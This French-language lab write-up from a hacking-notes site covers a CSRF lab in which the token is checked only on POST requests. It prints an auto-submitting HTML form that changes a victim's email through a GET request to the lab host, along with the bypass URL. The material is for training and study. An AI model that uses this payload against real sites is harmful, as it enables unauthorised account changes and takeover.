> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/csrf/csrf-token-validation-depends-on-http-method.md).

# CSRF avec validation du jeton basée sur la méthode HTTP

### CSRF lorsque la validation du jeton dépend de la méthode de requête

#### Contexte du laboratoire

La fonctionnalité de changement d’adresse e-mail est vulnérable à une attaque CSRF. Une défense est en place, mais elle n’est appliquée qu’à certains types de requêtes. Objectif : héberger une page sur le serveur d’exploitation qui force la victime à changer son adresse e-mail. / Identifiants fournis pour les tests : `wiener:peter`.

#### Constat

* Un jeton CSRF est vérifié pour **POST** les requêtes.

<figure><img src="/files/a2ec87c8777bbca636507ad270fb0426e979e19d" alt=""><figcaption></figcaption></figure>

* La même action est acceptée dans **GET** \*\*n
* Point concerné : `/my-account/change-email`.

<figure><img src="/files/47cad3cb5842cf9ff1d88b39509010d7e8c424d9" alt=""><figcaption></figcaption></figure>

Le serveur d’hébergement exécute une page qui envoie automatiquement une **GET** requête vers le point de terminaison de changement d’adresse e-mail :

```html
<form class="login-form" name="change-email-form" action="https://0a72007c0337ccb880ed1c9b00fa00d1.web-security-academy.net/my-account/change-email" method="GET">
           <input required="" type="email" name="email" value="Hacked@byjordan.com">
</form>

<script>
   document.forms[0].submit();
</script>
```

L’URL suivante illustre le contournement (aucun jeton requis en GET)

```html
/my-account/change-email?email=test%40test.com
```

<figure><img src="/files/742af7e134f5a177c0fc2b2c9bde96c45020011d" alt=""><figcaption></figcaption></figure>


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